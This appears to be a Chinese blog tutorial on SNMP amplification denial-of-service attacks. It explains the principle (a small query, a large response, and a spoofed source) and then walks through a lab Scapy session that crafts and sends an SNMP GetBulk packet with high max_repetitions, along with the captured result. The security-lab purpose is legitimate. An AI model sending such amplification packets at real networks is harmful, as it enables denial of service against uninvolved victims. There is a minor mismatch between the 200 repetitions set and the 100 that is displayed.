美文网首页
二十八、拒绝服务--(6)SNMP放大攻击

二十八、拒绝服务--(6)SNMP放大攻击

作者: cybeyond | 来源:发表于2018-09-14 16:39 被阅读0次

    1、SNMP简单网络管理协议

    • 服务端口UDP161/162(服务端抓客户端信息,客户端port为161;客户端trap方式主动发往服务端,服务端port为162)
    • 管理站(manager/客户端)、被管理设备(agent/服务端)
    • 管理信息数据库(MIB)是一个信息存储库,包含过管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
    • 每一个节点都有一个对象标识符(OID)唯一的标识
    • IETF定义标准的MIB库/厂家自定义MIB库

    2、攻击原理

    • 请求流量小,查询结果返回流量大
    • 结合伪造源地址实现攻击

    3、测试

    测试图
    • 首先在windows server2003上安装snmp服务,命令行下输入appwiz.cpl
      安装snmp
    配置snmp

    使用scapy

    >>> i=IP()
    >>> i.dst="192.168.50.193"
    >>> i.display()
    ###[ IP ]### 
      version= 4
      ihl= None
      tos= 0x0
      len= None
      id= 1
      flags= 
      frag= 0
      ttl= 64
      proto= hopopt
      chksum= None
      src= 192.168.50.192
      dst= 192.168.50.193 //目标snmpclient地址
      \options\
    

    定义udp

    >>> u=UDP()
    >>> u.dport=161
    >>> u.sport=161
    >>> u.display()
    ###[ UDP ]### 
      sport= snmp
      dport= snmp
      len= None
      chksum= None
    

    定义snmp

    >>> s.community="snmpclient“
    >>> s.community="snmpclient"
    >>> s.display()
    ###[ SNMP ]### 
      version= 0x1 <ASN1_INTEGER[1]>
      community= 'snmpclient'
      \PDU\
       |###[ SNMPget ]### 
       |  id= 0x0 <ASN1_INTEGER[0]>
       |  error= 0x0 <ASN1_INTEGER[0]>
       |  error_index= 0x0 <ASN1_INTEGER[0]>
       |  \varbindlist\
    

    设置SNMP的bulk

    >>> b=SNMPbulk()
    >>> b.display()
    ###[ SNMPbulk ]### 
      id= 0x0 <ASN1_INTEGER[0]>
      non_repeaters= 0x0 <ASN1_INTEGER[0]>
      max_repetitions= 0x0 <ASN1_INTEGER[0]>
      \varbindlist\
    >>> b.max_repetitions=200 //重复发送200遍查询
    

    设置SNMP的PDU

    >>> s.PDU=b
    >>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]>>> s.PDU=b
    >>> s.display()
    ###[ SNMP ]### 
      version= 0x1 <ASN1_INTEGER[1]>
      community= 'snmpclient'
      \PDU\
       |###[ SNMPbulk ]### 
       |  id= 0x0 <ASN1_INTEGER[0]>
       |  non_repeaters= 0x0 <ASN1_INTEGER[0]>
       |  max_repetitions= 100
       |  \varbindlist\
       |   |###[ SNMPvarbind ]### 
       |   |  oid= <ASN1_OID['.1.3.6.1.2.1.1']>
       |   |  value= <ASN1_NULL[0]>
       |   |###[ SNMPvarbind ]### 
       |   |  oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
       |   |  value= <ASN1_NULL[0]>
    

    发送snmp包

    >>> r=(i/u/s)
    >>> sr1(r)
    

    查看发送200遍的结果


    snmp抓包结果

    相关文章

      网友评论

          本文标题:二十八、拒绝服务--(6)SNMP放大攻击

          本文链接:https://www.haomeiwen.com/subject/aosogftx.html